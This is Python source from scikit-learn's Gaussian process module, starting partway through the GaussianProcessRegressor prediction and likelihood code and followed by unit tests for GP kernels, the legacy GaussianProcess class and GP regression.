            y_mean = K_trans.dot(self.alpha_)  # Line 4 (y_mean = f_star)
            y_mean = self.y_train_mean + y_mean  # undo normal.
            if return_cov:
                v = cho_solve((self.L_, True), K_trans.T)  # Line 5
                y_cov = self.kernel_(X) - K_trans.dot(v)  # Line 6
                return y_mean, y_cov
            elif return_std:
                # compute inverse K_inv of K based on its Cholesky
                # decomposition L and its inverse L_inv
                L_inv = solve_triangular(self.L_.T, np.eye(self.L_.shape[0]))
                K_inv = L_inv.dot(L_inv.T)
                # Compute variance of predictive distribution
                y_var = self.kernel_.diag(X)
                y_var -= np.einsum("ki,kj,ij->k", K_trans, K_trans, K_inv)

                # Check if any of the variances is negative because of
                # numerical issues. If yes: set the variance to 0.
                y_var_negative = y_var < 0
                if np.any(y_var_negative):
                    warnings.warn("Predicted variances smaller than 0. "
                                  "Setting those variances to 0.")
                    y_var[y_var_negative] = 0.0
                return y_mean, np.sqrt(y_var)
            else:
                return y_mean

    def sample_y(self, X, n_samples=1, random_state=0):
        """Draw samples from Gaussian process and evaluate at X.

        Parameters
        ----------
        X : array-like, shape = (n_samples_X, n_features)
            Query points where the GP samples are evaluated

        n_samples : int, default: 1
            The number of samples drawn from the Gaussian process

        random_state: RandomState or an int seed (0 by default)
            A random number generator instance

        Returns
        -------
        y_samples : array, shape = (n_samples_X, [n_output_dims], n_samples)
            Values of n_samples samples drawn from Gaussian process and
            evaluated at query points.
        """
        rng = check_random_state(random_state)

        y_mean, y_cov = self.predict(X, return_cov=True)
        if y_mean.ndim == 1:
            y_samples = rng.multivariate_normal(y_mean, y_cov, n_samples).T
        else:
            y_samples = \
                [rng.multivariate_normal(y_mean[:, i], y_cov,
                                         n_samples).T[:, np.newaxis]
                 for i in range(y_mean.shape[1])]
            y_samples = np.hstack(y_samples)
        return y_samples

    def log_marginal_likelihood(self, theta=None, eval_gradient=False):
        """Returns log-marginal likelihood of theta for training data.

        Parameters
        ----------
        theta : array-like, shape = (n_kernel_params,) or None
            Kernel hyperparameters for which the log-marginal likelihood is
            evaluated. If None, the precomputed log_marginal_likelihood
            of ``self.kernel_.theta`` is returned.

        eval_gradient : bool, default: False
            If True, the gradient of the log-marginal likelihood with respect
            to the kernel hyperparameters at position theta is returned
            additionally. If True, theta must not be None.

        Returns
        -------
        log_likelihood : float
            Log-marginal likelihood of theta for training data.

        log_likelihood_gradient : array, shape = (n_kernel_params,), optional
            Gradient of the log-marginal likelihood with respect to the kernel
            hyperparameters at position theta.
            Only returned when eval_gradient is True.
        """
        if theta is None:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated for theta!=None")
            return self.log_marginal_likelihood_value_

        kernel = self.kernel_.clone_with_theta(theta)

        if eval_gradient:
            K, K_gradient = kernel(self.X_train_, eval_gradient=True)
        else:
            K = kernel(self.X_train_)

        K[np.diag_indices_from(K)] += self.alpha
        try:
            L = cholesky(K, lower=True)  # Line 2
        except np.linalg.LinAlgError:
            return (-np.inf, np.zeros_like(theta)) \
                if eval_gradient else -np.inf

        # Support multi-dimensional output of self.y_train_
        y_train = self.y_train_
        if y_train.ndim == 1:
            y_train = y_train[:, np.newaxis]

        alpha = cho_solve((L, True), y_train)  # Line 3

        # Compute log-likelihood (compare line 7)
        log_likelihood_dims = -0.5 * np.einsum("ik,ik->k", y_train, alpha)
        log_likelihood_dims -= np.log(np.diag(L)).sum()
        log_likelihood_dims -= K.shape[0] / 2 * np.log(2 * np.pi)
        log_likelihood = log_likelihood_dims.sum(-1)  # sum over dimensions

        if eval_gradient:  # compare Equation 5.9 from GPML
            tmp = np.einsum("ik,jk->ijk", alpha, alpha)  # k: output-dimension
            tmp -= cho_solve((L, True), np.eye(K.shape[0]))[:, :, np.newaxis]
            # Compute "0.5 * trace(tmp.dot(K_gradient))" without
            # constructing the full matrix tmp.dot(K_gradient) since only
            # its diagonal is required
            log_likelihood_gradient_dims = \
                0.5 * np.einsum("ijl,ijk->kl", tmp, K_gradient)
            log_likelihood_gradient = log_likelihood_gradient_dims.sum(-1)

        if eval_gradient:
            return log_likelihood, log_likelihood_gradient
        else:
            return log_likelihood

    def _constrained_optimization(self, obj_func, initial_theta, bounds):
        if self.optimizer == "fmin_l_bfgs_b":
            theta_opt, func_min, convergence_dict = \
                fmin_l_bfgs_b(obj_func, initial_theta, bounds=bounds)
            if convergence_dict["warnflag"] != 0:
                warnings.warn("fmin_l_bfgs_b terminated abnormally with the "
                              " state: %s" % convergence_dict)
        elif callable(self.optimizer):
            theta_opt, func_min = \
                self.optimizer(obj_func, initial_theta, bounds=bounds)
        else:
            raise ValueError("Unknown optimizer %s." % self.optimizer)

        return theta_opt, func_min






"""Testing for kernels for Gaussian processes."""

# Author: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause

from collections import Hashable
from sklearn.externals.funcsigs import signature

import numpy as np

from sklearn.gaussian_process.kernels import _approx_fprime

from sklearn.metrics.pairwise \
    import PAIRWISE_KERNEL_FUNCTIONS, euclidean_distances, pairwise_kernels
from sklearn.gaussian_process.kernels \
    import (RBF, Matern, RationalQuadratic, ExpSineSquared, DotProduct,
            ConstantKernel, WhiteKernel, PairwiseKernel, KernelOperator,
            Exponentiation)
from sklearn.base import clone

from sklearn.utils.testing import (assert_equal, assert_almost_equal,
                                   assert_not_equal, assert_array_equal,
                                   assert_array_almost_equal)


X = np.random.RandomState(0).normal(0, 1, (5, 2))
Y = np.random.RandomState(0).normal(0, 1, (6, 2))

kernel_white = RBF(length_scale=2.0) + WhiteKernel(noise_level=3.0)
kernels = [RBF(length_scale=2.0), RBF(length_scale_bounds=(0.5, 2.0)),
           ConstantKernel(constant_value=10.0),
           2.0 * RBF(length_scale=0.33, length_scale_bounds="fixed"),
           2.0 * RBF(length_scale=0.5), kernel_white,
           2.0 * RBF(length_scale=[0.5, 2.0]),
           2.0 * Matern(length_scale=0.33, length_scale_bounds="fixed"),
           2.0 * Matern(length_scale=0.5, nu=0.5),
           2.0 * Matern(length_scale=1.5, nu=1.5),
           2.0 * Matern(length_scale=2.5, nu=2.5),
           2.0 * Matern(length_scale=[0.5, 2.0], nu=0.5),
           3.0 * Matern(length_scale=[2.0, 0.5], nu=1.5),
           4.0 * Matern(length_scale=[0.5, 0.5], nu=2.5),
           RationalQuadratic(length_scale=0.5, alpha=1.5),
           ExpSineSquared(length_scale=0.5, periodicity=1.5),
           DotProduct(sigma_0=2.0), DotProduct(sigma_0=2.0) ** 2]
for metric in PAIRWISE_KERNEL_FUNCTIONS:
    if metric in ["additive_chi2", "chi2"]:
        continue
    kernels.append(PairwiseKernel(gamma=1.0, metric=metric))


def test_kernel_gradient():
    """ Compare analytic and numeric gradient of kernels. """
    for kernel in kernels:
        K, K_gradient = kernel(X, eval_gradient=True)

        assert_equal(K_gradient.shape[0], X.shape[0])
        assert_equal(K_gradient.shape[1], X.shape[0])
        assert_equal(K_gradient.shape[2], kernel.theta.shape[0])

        def eval_kernel_for_theta(theta):
            kernel_clone = kernel.clone_with_theta(theta)
            K = kernel_clone(X, eval_gradient=False)
            return K

        K_gradient_approx = \
            _approx_fprime(kernel.theta, eval_kernel_for_theta, 1e-10)

        assert_almost_equal(K_gradient, K_gradient_approx, 4)


def test_kernel_theta():
    """ Check that parameter vector theta of kernel is set correctly. """
    for kernel in kernels:
        if isinstance(kernel, KernelOperator) \
           or isinstance(kernel, Exponentiation):  # skip non-basic kernels
            continue
        theta = kernel.theta
        _, K_gradient = kernel(X, eval_gradient=True)

        # Determine kernel parameters that contribute to theta
        init_sign = signature(kernel.__class__.__init__).parameters.values()
        args = [p.name for p in init_sign if p.name != 'self']
        theta_vars = map(lambda s: s.rstrip("_bounds"),
                         filter(lambda s: s.endswith("_bounds"), args))
        assert_equal(
            set(hyperparameter.name
                for hyperparameter in kernel.hyperparameters),
            set(theta_vars))

        # Check that values returned in theta are consistent with
        # hyperparameter values (being their logarithms)
        for i, hyperparameter in enumerate(kernel.hyperparameters):
            assert_equal(theta[i],
                         np.log(getattr(kernel, hyperparameter.name)))

        # Fixed kernel parameters must be excluded from theta and gradient.
        for i, hyperparameter in enumerate(kernel.hyperparameters):
            # create copy with certain hyperparameter fixed
            params = kernel.get_params()
            params[hyperparameter.name + "_bounds"] = "fixed"
            kernel_class = kernel.__class__
            new_kernel = kernel_class(**params)
            # Check that theta and K_gradient are identical with the fixed
            # dimension left out
            _, K_gradient_new = new_kernel(X, eval_gradient=True)
            assert_equal(theta.shape[0], new_kernel.theta.shape[0] + 1)
            assert_equal(K_gradient.shape[2], K_gradient_new.shape[2] + 1)
            if i > 0:
                assert_equal(theta[:i], new_kernel.theta[:i])
                assert_array_equal(K_gradient[..., :i],
                                   K_gradient_new[..., :i])
            if i + 1 < len(kernel.hyperparameters):
                assert_equal(theta[i+1:], new_kernel.theta[i:])
                assert_array_equal(K_gradient[..., i+1:],
                                   K_gradient_new[..., i:])

        # Check that values of theta are modified correctly
        for i, hyperparameter in enumerate(kernel.hyperparameters):
            theta[i] = np.log(42)
            kernel.theta = theta
            assert_almost_equal(getattr(kernel, hyperparameter.name), 42)

            setattr(kernel, hyperparameter.name, 43)
            assert_almost_equal(kernel.theta[i], np.log(43))


def test_auto_vs_cross():
    """ Auto-correlation and cross-correlation should be consistent. """
    for kernel in kernels:
        if kernel == kernel_white:
            continue  # Identity is not satisfied on diagonal
        K_auto = kernel(X)
        K_cross = kernel(X, X)
        assert_almost_equal(K_auto, K_cross, 5)


def test_kernel_diag():
    """ Test that diag method of kernel returns consistent results. """
    for kernel in kernels:
        K_call_diag = np.diag(kernel(X))
        K_diag = kernel.diag(X)
        assert_almost_equal(K_call_diag, K_diag, 5)


def test_kernel_operator_commutative():
    """ Adding kernels and multiplying kernels should be commutative. """
    # Check addition
    assert_almost_equal((RBF(2.0) + 1.0)(X),
                        (1.0 + RBF(2.0))(X))

    # Check multiplication
    assert_almost_equal((3.0 * RBF(2.0))(X),
                        (RBF(2.0) * 3.0)(X))


def test_kernel_anisotropic():
    """ Anisotropic kernel should be consistent with isotropic kernels."""
    kernel = 3.0 * RBF([0.5, 2.0])

    K = kernel(X)
    X1 = np.array(X)
    X1[:, 0] *= 4
    K1 = 3.0 * RBF(2.0)(X1)
    assert_almost_equal(K, K1)

    X2 = np.array(X)
    X2[:, 1] /= 4
    K2 = 3.0 * RBF(0.5)(X2)
    assert_almost_equal(K, K2)

    # Check getting and setting via theta
    kernel.theta = kernel.theta + np.log(2)
    assert_array_equal(kernel.theta, np.log([6.0, 1.0, 4.0]))
    assert_array_equal(kernel.k2.length_scale, [1.0, 4.0])


def test_kernel_stationary():
    """ Test stationarity of kernels."""
    for kernel in kernels:
        if not kernel.is_stationary():
            continue
        K = kernel(X, X + 1)
        assert_almost_equal(K[0, 0], np.diag(K))


def check_hyperparameters_equal(kernel1, kernel2):
    """Check that hyperparameters of two kernels are equal"""
    for attr in set(dir(kernel1) + dir(kernel2)):
        if attr.startswith("hyperparameter_"):
            attr_value1 = getattr(kernel1, attr)
            attr_value2 = getattr(kernel2, attr)
            assert_equal(attr_value1, attr_value2)


def test_kernel_clone():
    """ Test that sklearn's clone works correctly on kernels. """
    bounds = (1e-5, 1e5)
    for kernel in kernels:
        kernel_cloned = clone(kernel)

        # XXX: Should this be fixed?
        # This differs from the sklearn's estimators equality check.
        assert_equal(kernel, kernel_cloned)
        assert_not_equal(id(kernel), id(kernel_cloned))

        # Check that all constructor parameters are equal.
        assert_equal(kernel.get_params(), kernel_cloned.get_params())

        # Check that all hyperparameters are equal.
        yield check_hyperparameters_equal, kernel, kernel_cloned

        # This test is to verify that using set_params does not
        # break clone on kernels.
        # This used to break because in kernels such as the RBF, non-trivial
        # logic that modified the length scale used to be in the constructor
        # See https://github.com/scikit-learn/scikit-learn/issues/6961
        # for more details.
        params = kernel.get_params()
        # RationalQuadratic kernel is isotropic.
        isotropic_kernels = (ExpSineSquared, RationalQuadratic)
        if 'length_scale' in params and not isinstance(kernel, isotropic_kernels):
            length_scale = params['length_scale']
            if np.iterable(length_scale):
                params['length_scale'] = length_scale[0]
                params['length_scale_bounds'] = bounds
            else:
                params['length_scale'] = [length_scale] * 2
                params['length_scale_bounds'] = bounds * 2
            kernel_cloned.set_params(**params)
            kernel_cloned_clone = clone(kernel_cloned)
            assert_equal(kernel_cloned_clone.get_params(),
                         kernel_cloned.get_params())
            assert_not_equal(id(kernel_cloned_clone), id(kernel_cloned))
            yield check_hyperparameters_equal, kernel_cloned, kernel_cloned_clone


def test_matern_kernel():
    """ Test consistency of Matern kernel for special values of nu. """
    K = Matern(nu=1.5, length_scale=1.0)(X)
    # the diagonal elements of a matern kernel are 1
    assert_array_almost_equal(np.diag(K), np.ones(X.shape[0]))
    # matern kernel for coef0==0.5 is equal to absolute exponential kernel
    K_absexp = np.exp(-euclidean_distances(X, X, squared=False))
    K = Matern(nu=0.5, length_scale=1.0)(X)
    assert_array_almost_equal(K, K_absexp)
    # test that special cases of matern kernel (coef0 in [0.5, 1.5, 2.5])
    # result in nearly identical results as the general case for coef0 in
    # [0.5 + tiny, 1.5 + tiny, 2.5 + tiny]
    tiny = 1e-10
    for nu in [0.5, 1.5, 2.5]:
        K1 = Matern(nu=nu, length_scale=1.0)(X)
        K2 = Matern(nu=nu + tiny, length_scale=1.0)(X)
        assert_array_almost_equal(K1, K2)


def test_kernel_versus_pairwise():
    """Check that GP kernels can also be used as pairwise kernels."""
    for kernel in kernels:
        # Test auto-kernel
        if kernel != kernel_white:
            # For WhiteKernel: k(X) != k(X,X). This is assumed by
            # pairwise_kernels
            K1 = kernel(X)
            K2 = pairwise_kernels(X, metric=kernel)
            assert_array_almost_equal(K1, K2)

        # Test cross-kernel
        K1 = kernel(X, Y)
        K2 = pairwise_kernels(X, Y, metric=kernel)
        assert_array_almost_equal(K1, K2)


def test_set_get_params():
    """Check that set_params()/get_params() is consistent with kernel.theta."""
    for kernel in kernels:
        # Test get_params()
        index = 0
        params = kernel.get_params()
        for hyperparameter in kernel.hyperparameters:
            if hyperparameter.bounds is "fixed":
                continue
            size = hyperparameter.n_elements
            if size > 1:  # anisotropic kernels
                assert_almost_equal(np.exp(kernel.theta[index:index+size]),
                                    params[hyperparameter.name])
                index += size
            else:
                assert_almost_equal(np.exp(kernel.theta[index]),
                                    params[hyperparameter.name])
                index += 1
        # Test set_params()
        index = 0
        value = 10  # arbitrary value
        for hyperparameter in kernel.hyperparameters:
            if hyperparameter.bounds is "fixed":
                continue
            size = hyperparameter.n_elements
            if size > 1:  # anisotropic kernels
                kernel.set_params(**{hyperparameter.name: [value]*size})
                assert_almost_equal(np.exp(kernel.theta[index:index+size]),
                                    [value]*size)
                index += size
            else:
                kernel.set_params(**{hyperparameter.name: value})
                assert_almost_equal(np.exp(kernel.theta[index]), value)
                index += 1






"""
Testing for Gaussian Process module (sklearn.gaussian_process)
"""

# Author: Vincent Dubourg <vincent.dubourg@gmail.com>
# License: BSD 3 clause

from nose.tools import raises
from nose.tools import assert_true

import numpy as np

from sklearn.gaussian_process import GaussianProcess
from sklearn.gaussian_process import regression_models as regression
from sklearn.gaussian_process import correlation_models as correlation
from sklearn.datasets import make_regression
from sklearn.utils.testing import assert_greater


f = lambda x: x * np.sin(x)
X = np.atleast_2d([1., 3., 5., 6., 7., 8.]).T
X2 = np.atleast_2d([2., 4., 5.5, 6.5, 7.5]).T
y = f(X).ravel()


def test_1d(regr=regression.constant, corr=correlation.squared_exponential,
            random_start=10, beta0=None):
    # MLE estimation of a one-dimensional Gaussian Process model.
    # Check random start optimization.
    # Test the interpolating property.
    gp = GaussianProcess(regr=regr, corr=corr, beta0=beta0,
                         theta0=1e-2, thetaL=1e-4, thetaU=1e-1,
                         random_start=random_start, verbose=False).fit(X, y)
    y_pred, MSE = gp.predict(X, eval_MSE=True)
    y2_pred, MSE2 = gp.predict(X2, eval_MSE=True)

    assert_true(np.allclose(y_pred, y) and np.allclose(MSE, 0.)
                and np.allclose(MSE2, 0., atol=10))


def test_2d(regr=regression.constant, corr=correlation.squared_exponential,
            random_start=10, beta0=None):
    # MLE estimation of a two-dimensional Gaussian Process model accounting for
    # anisotropy. Check random start optimization.
    # Test the interpolating property.
    b, kappa, e = 5., .5, .1
    g = lambda x: b - x[:, 1] - kappa * (x[:, 0] - e) ** 2.
    X = np.array([[-4.61611719, -6.00099547],
                  [4.10469096, 5.32782448],
                  [0.00000000, -0.50000000],
                  [-6.17289014, -4.6984743],
                  [1.3109306, -6.93271427],
                  [-5.03823144, 3.10584743],
                  [-2.87600388, 6.74310541],
                  [5.21301203, 4.26386883]])
    y = g(X).ravel()

    thetaL = [1e-4] * 2
    thetaU = [1e-1] * 2
    gp = GaussianProcess(regr=regr, corr=corr, beta0=beta0,
                         theta0=[1e-2] * 2, thetaL=thetaL,
                         thetaU=thetaU,
                         random_start=random_start, verbose=False)
    gp.fit(X, y)
    y_pred, MSE = gp.predict(X, eval_MSE=True)

    assert_true(np.allclose(y_pred, y) and np.allclose(MSE, 0.))

    eps = np.finfo(gp.theta_.dtype).eps
    assert_true(np.all(gp.theta_ >= thetaL - eps))  # Lower bounds of hyperparameters
    assert_true(np.all(gp.theta_ <= thetaU + eps))  # Upper bounds of hyperparameters


def test_2d_2d(regr=regression.constant, corr=correlation.squared_exponential,
               random_start=10, beta0=None):
    # MLE estimation of a two-dimensional Gaussian Process model accounting for
    # anisotropy. Check random start optimization.
    # Test the GP interpolation for 2D output
    b, kappa, e = 5., .5, .1
    g = lambda x: b - x[:, 1] - kappa * (x[:, 0] - e) ** 2.
    f = lambda x: np.vstack((g(x), g(x))).T
    X = np.array([[-4.61611719, -6.00099547],
                  [4.10469096, 5.32782448],
                  [0.00000000, -0.50000000],
                  [-6.17289014, -4.6984743],
                  [1.3109306, -6.93271427],
                  [-5.03823144, 3.10584743],
                  [-2.87600388, 6.74310541],
                  [5.21301203, 4.26386883]])
    y = f(X)
    gp = GaussianProcess(regr=regr, corr=corr, beta0=beta0,
                         theta0=[1e-2] * 2, thetaL=[1e-4] * 2,
                         thetaU=[1e-1] * 2,
                         random_start=random_start, verbose=False)
    gp.fit(X, y)
    y_pred, MSE = gp.predict(X, eval_MSE=True)

    assert_true(np.allclose(y_pred, y) and np.allclose(MSE, 0.))


@raises(ValueError)
def test_wrong_number_of_outputs():
    gp = GaussianProcess()
    gp.fit([[1, 2, 3], [4, 5, 6]], [1, 2, 3])


def test_more_builtin_correlation_models(random_start=1):
    # Repeat test_1d and test_2d for several built-in correlation
    # models specified as strings.
    all_corr = ['absolute_exponential', 'squared_exponential', 'cubic',
                'linear']

    for corr in all_corr:
        test_1d(regr='constant', corr=corr, random_start=random_start)
        test_2d(regr='constant', corr=corr, random_start=random_start)
        test_2d_2d(regr='constant', corr=corr, random_start=random_start)


def test_ordinary_kriging():
    # Repeat test_1d and test_2d with given regression weights (beta0) for
    # different regression models (Ordinary Kriging).
    test_1d(regr='linear', beta0=[0., 0.5])
    test_1d(regr='quadratic', beta0=[0., 0.5, 0.5])
    test_2d(regr='linear', beta0=[0., 0.5, 0.5])
    test_2d(regr='quadratic', beta0=[0., 0.5, 0.5, 0.5, 0.5, 0.5])
    test_2d_2d(regr='linear', beta0=[0., 0.5, 0.5])
    test_2d_2d(regr='quadratic', beta0=[0., 0.5, 0.5, 0.5, 0.5, 0.5])


def test_no_normalize():
    gp = GaussianProcess(normalize=False).fit(X, y)
    y_pred = gp.predict(X)
    assert_true(np.allclose(y_pred, y))


def test_random_starts():
    # Test that an increasing number of random-starts of GP fitting only
    # increases the reduced likelihood function of the optimal theta.
    n_samples, n_features = 50, 3
    np.random.seed(0)
    rng = np.random.RandomState(0)
    X = rng.randn(n_samples, n_features) * 2 - 1
    y = np.sin(X).sum(axis=1) + np.sin(3 * X).sum(axis=1)
    best_likelihood = -np.inf
    for random_start in range(1, 5):
        gp = GaussianProcess(regr="constant", corr="squared_exponential",
                             theta0=[1e-0] * n_features,
                             thetaL=[1e-4] * n_features,
                             thetaU=[1e+1] * n_features,
                             random_start=random_start, random_state=0,
                             verbose=False).fit(X, y)
        rlf = gp.reduced_likelihood_function()[0]
        assert_greater(rlf, best_likelihood - np.finfo(np.float32).eps)
        best_likelihood = rlf


def test_mse_solving():
    # test the MSE estimate to be sane.
    # non-regression test for ignoring off-diagonals of feature covariance,
    # testing with nugget that renders covariance useless, only
    # using the mean function, with low effective rank of data
    gp = GaussianProcess(corr='absolute_exponential', theta0=1e-4,
                         thetaL=1e-12, thetaU=1e-2, nugget=1e-2,
                         optimizer='Welch', regr="linear", random_state=0)

    X, y = make_regression(n_informative=3, n_features=60, noise=50,
                           random_state=0, effective_rank=1)

    gp.fit(X, y)
    assert_greater(1000, gp.predict(X, eval_MSE=True)[1].mean())












"""Testing for Gaussian process regression """

# Author: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause

import numpy as np

from scipy.optimize import approx_fprime

from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn.gaussian_process.kernels \
    import RBF, ConstantKernel as C, WhiteKernel

from sklearn.utils.testing \
    import (assert_true, assert_greater, assert_array_less,
            assert_almost_equal, assert_equal)


def f(x):
    return x * np.sin(x)
X = np.atleast_2d([1., 3., 5., 6., 7., 8.]).T
X2 = np.atleast_2d([2., 4., 5.5, 6.5, 7.5]).T
y = f(X).ravel()

fixed_kernel = RBF(length_scale=1.0, length_scale_bounds="fixed")
kernels = [RBF(length_scale=1.0), fixed_kernel,
           RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)),
           C(1.0, (1e-2, 1e2)) *
           RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)),
           C(1.0, (1e-2, 1e2)) *
           RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)) +
           C(1e-5, (1e-5, 1e2)),
           C(0.1, (1e-2, 1e2)) *
           RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)) +
           C(1e-5, (1e-5, 1e2))]


def test_gpr_interpolation():
    """Test the interpolating property for different kernels."""
    for kernel in kernels:
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)
        y_pred, y_cov = gpr.predict(X, return_cov=True)

        assert_true(np.allclose(y_pred, y))
        assert_true(np.allclose(np.diag(y_cov), 0.))


def test_lml_improving():
    """ Test that hyperparameter-tuning improves log-marginal likelihood. """
    for kernel in kernels:
        if kernel == fixed_kernel:
            continue
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)
        assert_greater(gpr.log_marginal_likelihood(gpr.kernel_.theta),
                       gpr.log_marginal_likelihood(kernel.theta))


def test_lml_precomputed():
    """ Test that lml of optimized kernel is stored correctly. """
    for kernel in kernels:
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)
        assert_equal(gpr.log_marginal_likelihood(gpr.kernel_.theta),
                     gpr.log_marginal_likelihood())


def test_converged_to_local_maximum():
    """ Test that we are in local maximum after hyperparameter-optimization."""
    for kernel in kernels:
        if kernel == fixed_kernel:
            continue
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)

        lml, lml_gradient = \
            gpr.log_marginal_likelihood(gpr.kernel_.theta, True)

        assert_true(np.all((np.abs(lml_gradient) < 1e-4) |
                           (gpr.kernel_.theta == gpr.kernel_.bounds[:, 0]) |
                           (gpr.kernel_.theta == gpr.kernel_.bounds[:, 1])))


def test_solution_inside_bounds():
    """ Test that hyperparameter-optimization remains in bounds"""
    for kernel in kernels:
        if kernel == fixed_kernel:
            continue
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)

        bounds = gpr.kernel_.bounds
        max_ = np.finfo(gpr.kernel_.theta.dtype).max
        tiny = 1e-10
        bounds[~np.isfinite(bounds[:, 1]), 1] = max_

        assert_array_less(bounds[:, 0], gpr.kernel_.theta + tiny)
        assert_array_less(gpr.kernel_.theta, bounds[:, 1] + tiny)


def test_lml_gradient():
    """ Compare analytic and numeric gradient of log marginal likelihood. """
    for kernel in kernels:
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)

        lml, lml_gradient = gpr.log_marginal_likelihood(kernel.theta, True)
        lml_gradient_approx = \
            approx_fprime(kernel.theta,
                          lambda theta: gpr.log_marginal_likelihood(theta,
                                                                    False),
                          1e-10)

        assert_almost_equal(lml_gradient, lml_gradient_approx, 3)


def test_prior():
    """ Test that GP prior has mean 0 and identical variances."""
    for kernel in kernels:
        gpr = GaussianProcessRegressor(kernel=kernel)

        y_mean, y_cov = gpr.predict(X, return_cov=True)

        assert_almost_equal(y_mean, 0, 5)
        if len(gpr.kernel.theta) > 1:
            # XXX: quite hacky, works only for current kernels
            assert_almost_equal(np.diag(y_cov), np.exp(kernel.theta[0]), 5)
        else:
            assert_almost_equal(np.diag(y_cov), 1, 5)


def test_sample_statistics():
    """ Test that statistics of samples drawn from GP are correct."""
    for kernel in kernels:
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)

        y_mean, y_cov = gpr.predict(X2, return_cov=True)

        samples = gpr.sample_y(X2, 300000)

        # More digits accuracy would require many more samples
        assert_almost_equal(y_mean, np.mean(samples, 1), 1)
        assert_almost_equal(np.diag(y_cov) / np.diag(y_cov).max(),
                            np.var(samples, 1) / np.diag(y_cov).max(), 1)


def test_no_optimizer():
    """ Test that kernel parameters are unmodified when optimizer is None."""
    kernel = RBF(1.0)
    gpr = GaussianProcessRegressor(kernel=kernel, optimizer=None).fit(X, y)
    assert_equal(np.exp(gpr.kernel_.theta), 1.0)


def test_predict_cov_vs_std():
    """ Test that predicted std.-dev. is consistent with cov's diagonal."""
    for kernel in kernels:
        gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)
        y_mean, y_cov = gpr.predict(X2, return_cov=True)
        y_mean, y_std = gpr.predict(X2, return_std=True)
        assert_almost_equal(np.sqrt(np.diag(y_cov)), y_std)


def test_anisotropic_kernel():
    """ Test that GPR can identify meaningful anisotropic length-scales. """
    # We learn a function which varies in one dimension ten-times slower
    # than in the other. The corresponding length-scales should differ by at
    # least a factor 5
    rng = np.random.RandomState(0)
    X = rng.uniform(-1, 1, (50, 2))
    y = X[:, 0] + 0.1 * X[:, 1]

    kernel = RBF([1.0, 1.0])
    gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y)
    assert_greater(np.exp(gpr.kernel_.theta[1]),
                   np.exp(gpr.kernel_.theta[0]) * 5)


def test_random_starts():
    """
    Test that an increasing number of random-starts of GP fitting only
    increases the log marginal likelihood of the chosen theta.
    """
    n_samples, n_features = 25, 2
    np.random.seed(0)
    rng = np.random.RandomState(0)
    X = rng.randn(n_samples, n_features) * 2 - 1
    y = np.sin(X).sum(axis=1) + np.sin(3 * X).sum(axis=1) \
        + rng.normal(scale=0.1, size=n_samples)

    kernel = C(1.0, (1e-2, 1e2)) \
        * RBF(length_scale=[1.0] * n_features,
              length_scale_bounds=[(1e-4, 1e+2)] * n_features) \
        + WhiteKernel(noise_level=1e-5, noise_level_bounds=(1e-5, 1e1))
    last_lml = -np.inf
    for n_restarts_optimizer in range(5):
        gp = GaussianProcessRegressor(
            kernel=kernel, n_restarts_optimizer=n_restarts_optimizer,
            random_state=0,).fit(X, y)
        lml = gp.log_marginal_likelihood(gp.kernel_.theta)
        assert_greater(lml, last_lml - np.finfo(np.float32).eps)
        last_lml = lml


def test_y_normalization():
    """ Test normalization of the target values in GP

    Fitting non-normalizing GP on normalized y and fitting normalizing GP
    on unnormalized y should yield identical results
    """
    y_mean = y.mean(0)
    y_norm = y - y_mean
    for kernel in kernels:
        # Fit non-normalizing GP on normalized y
        gpr = GaussianProcessRegressor(kernel=kernel)
        gpr.fit(X, y_norm)
        # Fit normalizing GP on unnormalized y
        gpr_norm = GaussianProcessRegressor(kernel=kernel, normalize_y=True)
        gpr_norm.fit(X, y)

        # Compare predicted mean, std-devs and covariances
        y_pred, y_pred_std = gpr.predict(X2, return_std=True)
        y_pred = y_mean + y_pred
        y_pred_norm, y_pred_std_norm = gpr_norm.predict(X2, return_std=True)

        assert_almost_equal(y_pred, y_pred_norm)
        assert_almost_equal(y_pred_std, y_pred_std_norm)

        _, y_cov = gpr.predict(X2, return_cov=True)
        _, y_cov_norm = gpr_norm.predict(X2, return_cov=True)
        assert_almost_equal(y_cov, y_cov_norm)


def test_y_multioutput():
    """ Test that GPR can deal with multi-dimensional target values"""
    y_2d = np.vstack((y, y * 2)).T

    # Test for fixed kernel that first dimension of 2d GP equals the output
    # of 1d GP and that second dimension is twice as large
    kernel = RBF(length_scale=1.0)

    gpr = GaussianProcessRegressor(kernel=kernel, optimizer=None,
                                   normalize_y=False)
    gpr.fit(X, y)

    gpr_2d = GaussianProcessRegressor(kernel=kernel, optimizer=None,
                                      normalize_y=False)
    gpr_2d.fit(X, y_2d)

    y_pred_1d, y_std_1d = gpr.predict(X2, return_std=True)
    y_pred_2d, y_std_2d = gpr_2d.predict(X2, return_std=True)
    _, y_cov_1d = gpr.predict(X2, return_cov=True)
    _, y_cov_2d = gpr_2d.predict(X2, return_cov=True)

    assert_almost_equal(y_pred_1d, y_pred_2d[:, 0])
    assert_almost_equal(y_pred_1d, y_pred_2d[:, 1] / 2)

    # Standard deviation and covariance do not depend on output
    assert_almost_equal(y_std_1d, y_std_2d)
    assert_almost_equal(y_cov_1d, y_cov_2d)

    y_sample_1d = gpr.sample_y(X2, n_samples=10)
    y_sample_2d = gpr_2d.sample_y(X2, n_samples=10)
    assert_almost_equal(y_sample_1d, y_sample_2d[:, 0])

    # Test hyperparameter optimization
    for kernel in kernels:
        gpr = GaussianProcessRegressor(kernel=kernel, normalize_y=True)
        gpr.fit(X, y)

        gpr_2d = GaussianProcessRegressor(kernel=kernel, normalize_y=True)
        gpr_2d.fit(X, np.vstack((y, y)).T)

